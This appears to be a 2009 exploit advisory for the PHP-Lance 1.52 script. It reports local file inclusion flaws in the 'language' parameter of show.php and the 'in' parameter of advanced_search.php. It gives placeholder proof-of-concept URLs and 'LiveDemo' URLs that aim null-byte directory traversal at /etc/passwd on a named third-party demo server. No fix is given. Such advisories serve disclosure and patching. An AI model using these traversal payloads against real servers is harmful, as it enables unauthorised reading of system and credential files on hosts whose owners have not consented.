PHP-Lance 1.52 Multiple Local File Inclusion Vulnerabilities
2009-08-18 16:33:25#############################
Name : PHP-Lance v1.52
price US $349.95 :p
Demo : http://www.scriptdemo.com/php-lance/
#############################
------------------------------------------------------------------------
_________________________________
|Author : jetli007
|alkhari9007[AT]gmail[DOT]com
|www.vxx9.cc
|Thx&Greets to: 5D;taishi;dr.php;!bad boy!;psycho;ABK;reno
________________________________
-------------------------------------------------------------------------
PoC's:
- http:// 127.0.0.1 / [path] /show.php?catid=5&sch=yellow&language=[LFI]
- http:// 127.0.0.1 / [path] /show.php?catid=5&sch=yellow&language=[LFI]
- http:// 127.0.0.1 / [path] /advanced_search.php?in=[LFI]
LiveDemo:
- http://www.scriptdemo.com/php-lance/show.php?catid=5&sch=yellow&language=../../../../../../../../../../../../../etc/passwd%00
- http://www.scriptdemo.com/php-lance/show.php?catid=5&sch=yellow&language=../../../../../../../../../../../../../etc/passwd%00
- http://www.scriptdemo.com/php-lance/advanced_search.php?in=../../../../../../../../../../../../../etc/passwd%00
-------------------------------------------------------------------------
#
Fixes
No fixesPer poter inviare un fix è necessario essere utenti registrati.